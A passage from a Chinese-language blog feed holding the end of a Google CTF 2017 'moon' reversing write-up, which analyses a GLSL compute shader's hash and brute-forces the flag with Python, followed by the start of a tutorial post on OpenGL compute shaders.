);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#version 430</span></span><br><span class="line"><span class="keyword">in</span> <span class="type">vec2</span> frag_uv;</span><br><span class="line"><span class="keyword">out</span> <span class="type">vec4</span> frag_colour;</span><br><span class="line"><span class="keyword">uniform</span> <span class="type">sampler2D</span> tex;</span><br><span class="line"><span class="type">void</span> main() &#123;</span><br><span class="line">  frag_colour = <span class="type">vec4</span>(<span class="number">1.0</span>, <span class="number">1.0</span>, <span class="number">1.0</span>, <span class="number">1.0</span>) * <span class="built_in">texture</span>(tex, frag_uv);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">#version 430</span></span><br><span class="line"><span class="keyword">layout</span>(<span class="keyword">local_size_x</span>=<span class="number">8</span>,<span class="keyword">local_size_y</span>=<span class="number">8</span>)<span class="keyword">in</span>;</span><br><span class="line"><span class="keyword">layout</span>(<span class="keyword">std430</span>,<span class="keyword">binding</span>=<span class="number">0</span>)<span class="keyword">buffer</span> </span><br><span class="line">shaderExchangeProtocol&#123;</span><br><span class="line"><span class="type">uint</span> state[<span class="number">64</span>];</span><br><span class="line"><span class="type">uint</span> hash[<span class="number">64</span>];</span><br><span class="line"><span class="type">uint</span> password[<span class="number">32</span>];</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">vec3</span> calc(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">float</span> r=<span class="built_in">radians</span>(p);</span><br><span class="line"><span class="type">float</span> c=<span class="built_in">cos</span>(r);</span><br><span class="line"><span class="type">float</span> s=<span class="built_in">sin</span>(r);</span><br><span class="line"><span class="type">mat3</span> m=<span class="type">mat3</span>(c,-s,<span class="number">0.0</span>,s,c,<span class="number">0.0</span>,<span class="number">0.0</span>,<span class="number">0.0</span>,<span class="number">1.0</span>);</span><br><span class="line"><span class="type">vec3</span> pt=<span class="type">vec3</span>(<span class="number">1024.0</span>,<span class="number">0.0</span>,<span class="number">0.0</span>);</span><br><span class="line"><span class="type">vec3</span> res=m*pt;</span><br><span class="line">res+=<span class="type">vec3</span>(<span class="number">2048.0</span>,<span class="number">2048.0</span>,<span class="number">0.0</span>);</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> extend(<span class="type">uint</span> e)&#123;</span><br><span class="line"><span class="type">uint</span> i;</span><br><span class="line"><span class="type">uint</span> r=e^<span class="number">0x5f208c26</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">15</span>;i&lt;<span class="number">31</span>;i+=<span class="number">3</span>)&#123;</span><br><span class="line"><span class="type">uint</span> f=e&lt;&lt;i;r^=f;</span><br><span class="line">&#125;<span class="keyword">return</span> r;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> hash_alpha(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">vec3</span> res=calc(p);</span><br><span class="line"><span class="keyword">return</span> extend(<span class="type">uint</span>(res[<span class="number">0</span>]));</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> hash_beta(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">vec3</span> res=calc(p);</span><br><span class="line"><span class="keyword">return</span> extend(<span class="type">uint</span>(res[<span class="number">1</span>]));</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> main()&#123;</span><br><span class="line"><span class="type">uint</span> idx=<span class="built_in">gl_GlobalInvocationID</span>.x+<span class="built_in">gl_GlobalInvocationID</span>.y*<span class="number">8</span>;</span><br><span class="line"><span class="type">uint</span> final;</span><br><span class="line"><span class="keyword">if</span> (state[idx]!=<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ((idx&amp;<span class="number">1</span>)==<span class="number">0</span>)&#123;</span><br><span class="line">final=hash_alpha(password[idx/<span class="number">2</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">final=hash_beta(password[idx/<span class="number">2</span>]);</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> i;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i+=<span class="number">6</span>)&#123;</span><br><span class="line">final^=idx&lt;&lt;i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> h=<span class="number">0x5a</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line"><span class="type">uint</span> p=password[i];</span><br><span class="line"><span class="type">uint</span> r=(i*<span class="number">3</span>)&amp;<span class="number">7</span>;</span><br><span class="line">p=(p&lt;&lt;r)|(p&gt;&gt;(<span class="number">8</span>-r));</span><br><span class="line">p&amp;=<span class="number">0xff</span>;</span><br><span class="line">h^=p;</span><br><span class="line">&#125;</span><br><span class="line">final^=(h|(h&lt;&lt;<span class="number">8</span>)|(h&lt;&lt;<span class="number">16</span>)|(h&lt;&lt;<span class="number">24</span>));</span><br><span class="line">hash[idx]=final;</span><br><span class="line">state[idx]=<span class="number">2</span>;</span><br><span class="line"><span class="built_in">memoryBarrierShared</span>();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>怕是可以当成crypto出了。。。这里扯到了一点关于算数着色器的内容，这里可以见另一篇博客<a href="http://showlinkroom.me/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/#more">算数着色器</a><br>这段逻辑其实也非常的麻烦，我们一点点来分析：</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">layout</span>(<span class="keyword">local_size_x</span>=<span class="number">8</span>,<span class="keyword">local_size_y</span>=<span class="number">8</span>)<span class="keyword">in</span>;</span><br><span class="line"><span class="keyword">layout</span>(<span class="keyword">std430</span>,<span class="keyword">binding</span>=<span class="number">0</span>)<span class="keyword">buffer</span> shaderExchangeProtocol&#123;</span><br><span class="line"><span class="type">uint</span> state[<span class="number">64</span>];</span><br><span class="line"><span class="type">uint</span> hash[<span class="number">64</span>];</span><br><span class="line"><span class="type">uint</span> password[<span class="number">32</span>];</span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>之前的着色器是为了普通的染色用的，第三段才是重点。首先一开始生命的是当前计算着色器中局部工作组的大小，为8*8(*1)（由于着色器本身为3维上，但是由于不声明的话默认是2维的，z轴默认值为1）。然后是声明此时多个管道中进行共享的变量。从大小和命名上可以猜测，password应该是我们输入的字符串，state应该是GPU状态之类的，hash就是一个特定的值的hash。</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint</span> idx=<span class="built_in">gl_GlobalInvocationID</span>.x+<span class="built_in">gl_GlobalInvocationID</span>.y*<span class="number">8</span>;</span><br><span class="line"><span class="type">uint</span> final;</span><br><span class="line"><span class="keyword">if</span> (state[idx]!=<span class="number">1</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> ((idx&amp;<span class="number">1</span>)==<span class="number">0</span>)&#123;</span><br><span class="line">final=hash_alpha(password[idx/<span class="number">2</span>])</span><br><span class="line">;</span><br><span class="line">&#125;<span class="keyword">else</span>&#123;</span><br><span class="line">final=hash_beta(password[idx/<span class="number">2</span>]);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段是main函数中的内容，第一句话的意思是【确定当前在全局工作组中的下标】。由state大小不难知道，全局工作组的大小为8*8。并且这里会将每两个赋值，都是将我们的输入的字符串传入并且进行hash运算，我们深入看一下算法:</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint</span> hash_alpha(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">vec3</span> res=calc(p);</span><br><span class="line"><span class="keyword">return</span> extend(<span class="type">uint</span>(res[<span class="number">0</span>]));</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> hash_beta(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">vec3</span> res=calc(p);</span><br><span class="line"><span class="keyword">return</span> extend(<span class="type">uint</span>(res[<span class="number">1</span>]));</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里能够看到，此时的p(也就是我们数组中的值)会同一个calc调用，然后会返回一个vec3。区别在于alpha返回的是[0],而beta返回的是[1]。</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">vec3</span> calc(<span class="type">uint</span> p)&#123;</span><br><span class="line"><span class="type">float</span> r=<span class="built_in">radians</span>(p);<span class="comment">//角度转为弧度</span></span><br><span class="line"><span class="type">float</span> c=<span class="built_in">cos</span>(r);</span><br><span class="line"><span class="type">float</span> s=<span class="built_in">sin</span>(r);</span><br><span class="line"><span class="type">mat3</span> m=<span class="type">mat3</span>(c,-s,<span class="number">0.0</span>, s,c,<span class="number">0.0</span>, <span class="number">0.0</span>,<span class="number">0.0</span>,<span class="number">1.0</span>);</span><br><span class="line"><span class="type">vec3</span> pt=<span class="type">vec3</span>(<span class="number">1024.0</span>,<span class="number">0.0</span>,<span class="number">0.0</span>);</span><br><span class="line"><span class="type">vec3</span> res=m*pt;</span><br><span class="line">res+=<span class="type">vec3</span>(<span class="number">2048.0</span>,<span class="number">2048.0</span>,<span class="number">0.0</span>);</span><br><span class="line"><span class="keyword">return</span> res;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> extend(<span class="type">uint</span> e)&#123;</span><br><span class="line"><span class="type">uint</span> i;</span><br><span class="line"><span class="type">uint</span> r=e^<span class="number">0x5f208c26</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">15</span>;i&lt;<span class="number">31</span>;i+=<span class="number">3</span>)&#123;</span><br><span class="line"><span class="type">uint</span> f=e&lt;&lt;i;r^=f;</span><br><span class="line">&#125;<span class="keyword">return</span> r;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段就是hash处理的过程。这个函数会将传入的数据作为弧度，然后会强行算一个<strong>旋转矩阵</strong>,就是</p><pre><code>[cos r, - sin r][sin r, cos r]</code></pre><p>然后这个矩阵乘上（1024,0,0）(相当于这个1024向量将要转动p度)，并且将结果加上向量(2048,2048)<br>结合一下前面，大致意思就是【将传入的数据作为角度，计算当前向量旋转后的值，并且在idx为单数的时候设置其答案为x值，idx为双数的时候设置其值为y】。最后会在extend中进行数据扩展。</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint</span> i;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i+=<span class="number">6</span>)&#123;</span><br><span class="line">final^=idx&lt;&lt;i;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">uint</span> h=<span class="number">0x5a</span>;</span><br><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line"><span class="type">uint</span> p=password[i];</span><br><span class="line"><span class="type">uint</span> r=(i*<span class="number">3</span>)&amp;<span class="number">7</span>;</span><br><span class="line">p=(p&lt;&lt;r)|(p&gt;&gt;(<span class="number">8</span>-r));</span><br><span class="line">p&amp;=<span class="number">0xff</span>;</span><br><span class="line">h^=p;</span><br><span class="line">&#125;</span><br><span class="line">final^=(h|(h&lt;&lt;<span class="number">8</span>)|(h&lt;&lt;<span class="number">16</span>)|(h&lt;&lt;<span class="number">24</span>));</span><br><span class="line">hash[idx]=final;</span><br><span class="line">state[idx]=<span class="number">2</span>;</span><br></pre></td></tr></table></figure><p>最后这段首先是根据下标，按6 bit为一组与idx进行了异或，然后在password中的值每个值取出来进行，进行循环移位，同时将当前值与一个魔数异或。最后将final和刚刚得到的魔数按照8bit扩展成32bit后的数字机型异或。最后将这个数字存入hash中。</p><p>可以猜测，这个hash就是我们需要的答案。</p><p>虽然可以考虑使用暴力破解的方法，但注意到这个<strong>h</strong>的值是由所有的password一起确定的，就很难一次性确认出来。。。。后来在一个大佬的github上看到了一个非常聪明的思路:<br><a href="https://hxp.io/blog/33/Google%20CTF%202017:%20reversing%20%22moon%22/">https://hxp.io/blog/33/Google%20CTF%202017:%20reversing%20%22moon%22/</a><br>这里搬运一下;<br>函数的关键在于:</p><figure class="highlight glsl"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (i=<span class="number">0</span>;i&lt;<span class="number">32</span>;i++)&#123;</span><br><span class="line"><span class="type">uint</span> p=password[i];</span><br><span class="line"><span class="type">uint</span> r=(i*<span class="number">3</span>)&amp;<span class="number">7</span>;</span><br><span class="line">p=(p&lt;&lt;r)|(p&gt;&gt;(<span class="number">8</span>-r));</span><br><span class="line">p&amp;=<span class="number">0xff</span>;</span><br><span class="line">h^=p;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这段内容，我们会将<strong>所有的password</strong>都读出来，并且进行运算最后得到h。会发现这个过程和idx完全无关。换句话说，每个管线中都将执行一遍这个过程，得到相同的数据。然后由于flag的形式一定是CTF{xxxx}，所以第一个字符必然是C，于是我们按照前面的思路完全重现一下加密的逻辑,代码如下:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:-utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> numpy <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">p</span>):</span><br><span class="line">r=math.radians(p)</span><br><span class="line">c=math.cos(r)</span><br><span class="line">s=math.sin(r)</span><br><span class="line">m=[[c, -s, <span class="number">0.0</span>],[s, c, <span class="number">0.0</span>],[<span class="number">0.0</span>, <span class="number">0.0</span>, <span class="number">1.0</span>]]</span><br><span class="line">pt=[<span class="number">1024.0</span>, <span class="number">0.0</span>, <span class="number">0.0</span>]</span><br><span class="line">res = dot(m, pt)</span><br><span class="line">res+=[<span class="number">2048.0</span>,<span class="number">2048.0</span>,<span class="number">0.0</span>]</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extend</span>(<span class="params">e</span>):</span><br><span class="line">r=e^<span class="number">0x5f208c26</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>, <span class="number">32</span>, <span class="number">3</span>):</span><br><span class="line">f=(e&lt;&lt;i)&amp;<span class="number">0xffffffff</span></span><br><span class="line">r^=f</span><br><span class="line"><span class="keyword">return</span> r</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span>  <span class="title function_">hash_alpha</span>(<span class="params">p</span>):</span><br><span class="line">res=calc(p)</span><br><span class="line"><span class="keyword">return</span> extend(<span class="built_in">int</span>(res[<span class="number">0</span>]))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span>  <span class="title function_">hash_beta</span>(<span class="params">p</span>):</span><br><span class="line">res=calc(p)</span><br><span class="line"><span class="keyword">return</span> extend(<span class="built_in">int</span>(res[<span class="number">1</span>]))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">hex</span>(hash_alpha(<span class="built_in">ord</span>(<span class="string">&#x27;C&#x27;</span>))))</span><br></pre></td></tr></table></figure><p>得到的输出与之前提到的一大串数据的开头四个进行异或，正好得到</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">0x6f6f6f6f</span><br></pre></td></tr></table></figure><p>由此可见，h的最终值就是0x6f。接下来直接写个爆破脚本跑数据看看:</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding:-utf-8 -*-</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> numpy <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">import</span> math</span><br><span class="line">data = <span class="string">&quot;30c7ead97107775969be4ba00cf5578f1048ab1375113631dbb6871dbe35162b1c62e982eb6a7512f3274743fb2e55c818912779ef7a34169a838666ff3994bb4d3c6e14ba2d732f14414f2c1cb5d3844935aebbbe3fb206343a004e18a092daba02e3c0969871548ed2c372eb68d1af41152cb3b61f300e3c1a8246108010d282e16df8ae7bff6cb6314d4ad38b5f9779ef23208efe3e1b699700429eae1fa93c036e5dcbe87d32be1ecfac2452ddfdc704a00ea24fbc2161b7824a968e9da1db756712be3e7b3d3420c8f33c37dba42072a941d799ba2eebbf86191cb59aa49a80ebe0b61a79741888cb62341259f62848aad44df2b809383e09437928980f&quot;</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">hexTonumber</span>(<span class="params">date</span>):</span><br><span class="line">nums = []</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(data), <span class="number">16</span>):</span><br><span class="line">nums.append(<span class="built_in">int</span>(data[i:<span class="number">8</span>+i], <span class="number">16</span>))</span><br><span class="line"><span class="keyword">return</span> nums</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">calc</span>(<span class="params">p</span>):</span><br><span class="line">r=math.radians(p)</span><br><span class="line">c=math.cos(r)</span><br><span class="line">s=math.sin(r)</span><br><span class="line">m=[[c, -s, <span class="number">0.0</span>],[s, c, <span class="number">0.0</span>],[<span class="number">0.0</span>, <span class="number">0.0</span>, <span class="number">1.0</span>]]</span><br><span class="line">pt=[<span class="number">1024.0</span>, <span class="number">0.0</span>, <span class="number">0.0</span>]</span><br><span class="line">res = dot(m, pt)</span><br><span class="line">res+=[<span class="number">2048.0</span>,<span class="number">2048.0</span>,<span class="number">0.0</span>]</span><br><span class="line"><span class="keyword">return</span> res</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">extend</span>(<span class="params">e</span>):</span><br><span class="line">r=e^<span class="number">0x5f208c26</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">15</span>, <span class="number">32</span>, <span class="number">3</span>):</span><br><span class="line">f=(e&lt;&lt;i)&amp;<span class="number">0xffffffff</span></span><br><span class="line">r^=f</span><br><span class="line"><span class="keyword">return</span> r</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span>  <span class="title function_">hash_alpha</span>(<span class="params">p</span>):</span><br><span class="line">res=calc(p)</span><br><span class="line"><span class="keyword">return</span> extend(<span class="built_in">int</span>(res[<span class="number">0</span>]))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span>  <span class="title function_">hash_beta</span>(<span class="params">p</span>):</span><br><span class="line">res=calc(p)</span><br><span class="line"><span class="keyword">return</span> extend(<span class="built_in">int</span>(res[<span class="number">1</span>]))</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getAns</span>(<span class="params">p, q, idx</span>):</span><br><span class="line">ans = hash_alpha(p)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>,<span class="number">32</span>, <span class="number">6</span>):</span><br><span class="line">ans^=((idx&lt;&lt;i)&amp;<span class="number">0xffffffff</span>)</span><br><span class="line"></span><br><span class="line">ans ^= <span class="number">0x6f6f6f6f</span></span><br><span class="line"><span class="keyword">if</span> ans == q:</span><br><span class="line"><span class="built_in">print</span>(<span class="built_in">chr</span>(p), end=<span class="string">&#x27;&#x27;</span>)</span><br><span class="line"><span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="keyword">return</span> <span class="literal">False</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line"><span class="comment"># print(hex(hash_alpha(ord(&#x27;C&#x27;))))</span></span><br><span class="line">num_list = hexTonumber(data)</span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">32</span>):</span><br><span class="line"><span class="keyword">for</span> j <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">256</span>):</span><br><span class="line"><span class="keyword">if</span> getAns(j, num_list[i], i*<span class="number">2</span>):</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line"><span class="comment"># print(&#x27;tt&#x27;)</span></span><br></pre></td></tr></table></figure><p>得到flag:</p><pre><code>CTF&#123;OpenGLMoonMoonG0esT0TheMoon&#125;</code></pre><p>挖草这个Google ctf逼的我把OpenGL又复习了一遍。。。。。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Google CTF 真的难。。。拼了老命也才能勉强比赛完后做了一题而且（沉迷reverse的第二弹。。。。）&lt;/p&gt;
&lt;h2 id=&quot;more-google-ctf-moon&quot;&gt;&lt;/h2&gt;</summary>
    
    
    
    <category term="CTF" scheme="https://showlinkroom.me/categories/CTF/"/>
    
    
    <category term="Game" scheme="https://showlinkroom.me/tags/Game/"/>
    
  </entry>
  
  <entry>
    <title>OpenGL的计算着色器</title>
    <link href="https://showlinkroom.me/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/"/>
    <id>https://showlinkroom.me/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/</id>
    <published>2017-06-30T08:47:01.000Z</published>
    <updated>2020-07-16T13:31:30.395Z</updated>
    
    <content type="html"><![CDATA[<p>opengl的着色器计算方面的应用</p><h2 id="more-opengl的计算着色器"><span id="more"></span><br>OpenGL的计算着色器</h2><p>（之前曾经整理过opengl的相关学习资料，之后会放过来，这边先直接谈论OpenGL的计算着色器的学习）</p><h2 id="背景">背景</h2><p>由于图形处理器（GPU）每秒能够进行数以亿计次的计算，它已成为一种性能十分惊人的器件。因此为了能够更加方便的使用GPU的计算性能，OpenGL将【着色器】这部分与GPU交互的语言中抽象处一种接口，来进行数据的运算。这个接口的所构造的着色器就称为**“计算着色器”**</p><h2 id="概况与基本使用">概况与基本使用</h2><p>计算着色器本身可以被认为是一个一级着色器(大概就说是顶点直接输入GPU计算，计算完成后的数据直接返回给电脑)，没有固定的数据和输出格式。<br>计算着色器同样也是通过<strong>glCreateShader</strong>进行着色器对象的创建，通过<strong>glShaderSource</strong>将数据传入的GPU，最后通过函数<strong>glCompileShader</strong>将数据进行编译。使用的时候也是通过过glAttachShader对着色器对象绑定，然后使用glLinkShader将指定的着色器依附在顶点信息中，传入GPU进行数据的运算。</p><h2 id="工作组及执行">工作组及执行</h2><p>计算着色器的任务以组为单位进行执行，称为<strong>工作组（work group）</strong>。拥有邻居的工作组被称为<strong>本地工作组（local workgroup）</strong>, 这些组可以组成更大的组，称为<strong>全局工作组（global workgroup）</strong>，而其通常作为执行命令的一个单位。</p><p>计算着色器会被全局工作组中每一个本地工作组中的每一个单元调用一次，工作组的每一个单元称为工作项（work item），每一次调用称为一次执行。执行的单元之间可以通过变量和显存进行通信，且可执行同步操作保持一致性。<br><img src="/2017/06/30/OpenGL%E7%9A%84%E8%AE%A1%E7%AE%97%E7%9D%80%E8%89%B2%E5%99%A8/opengl03.jpg" alt=""></p><center>图12-1</center><p>图12-1对这种工作方式进行了说明。在这个简化的例子中，全局工作组包含16个本地工作组, 而每个本地工作组又包含16个执行单元，排成4*4的网格。每个执行单元拥有一个2维向量表示的索引值。</p><p>本地工作组的大小使用local_size_x,local_size_y,local_size_z来进行说明，默认均为1。例子如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">layout(local_size_x=8,local_size_y=8)in;</span><br></pre></td></tr></table></figure><p>这段内容的意思就是声明此时<strong>本地工作组</strong>的大小为8*8*1。</p><p>然后通过使用函数glDispatchCompute()把工作组发送到计算管线上:</p><pre><code>void glDispatchCompute(GLuint num_groups_x, GLuint num_groups_y, GLuint num_groups_z);</code></pre><p>其中num_groups_*表示在这个方向上设置的<strong>工作组的数量</strong>（并非工作组大小）。然后OpenGL就会创建一个</p><pre><code>num_gourps_x*num_gourps_y*num_gourps_z</code></pre><p>大小的工作组，存放所有的工作组。</p><h2 id="工作组的位置">工作组的位置</h2><p>计算着色器需要从输入的指定位置读取数据，并且把数据输出到输出数组指定的位置上。因此会需要知道当前的数据在本地工作组，或者说全局工作组的位置。OpenGL提供了一下内置变量:</p><ul><li>const uvec3 gl_WorkGroupSize</li><li>in uvec3 gl_NumWorkGroups</li><li>in uvec3 gl_LocalInvocationID</li><li>in uvec3 gl_WorkGroupID</li><li>in uvec3 gl_GlobalInvocationID</li><li>in uvec3 gl_LocalInvocationID</li><li>in uint gl_LocalInvocationIndex</li></ul><p>变量的含义:<br>gl_WorkGroupSize是一个用来存储本地工作组大小的常数。它已在着色器的布局限定符中有local_size_x，local_size_y和local_size_z声明。之所以拷贝这些信息，主要是为了两个目的：首先，它使得工作组的大小可以在着色器中被访问很多次而不需要依赖于预处理；其次，它使得以多维形式表示的工作组大小可以直接按向量处理，而无需显式地构造。</p><p>gl_NumWorkGroups是一个向量，它包含传给glDispatchCompute()的参数（num_groups_x，num_groups_y和 num_groups_z）。 这使得着色器知道它所属的全局工作组的大小。除了比手动给uniform显式赋值要方便外，一部分OpenGL硬件对于这些常数的设定也提供了高效的方法。</p><p>gl_LocalInvocationID 表示当前执行单元在本地工作组中的位置。它的范围从uvec3(0)到gl_WorkGroupSize – uvec3(1)</p><p>gl_WorkGroupID 表示当前本地工作组在更大的全局工作组中的位置。该变量的范围在uvec3(0)和gl_NumWorkGroups – 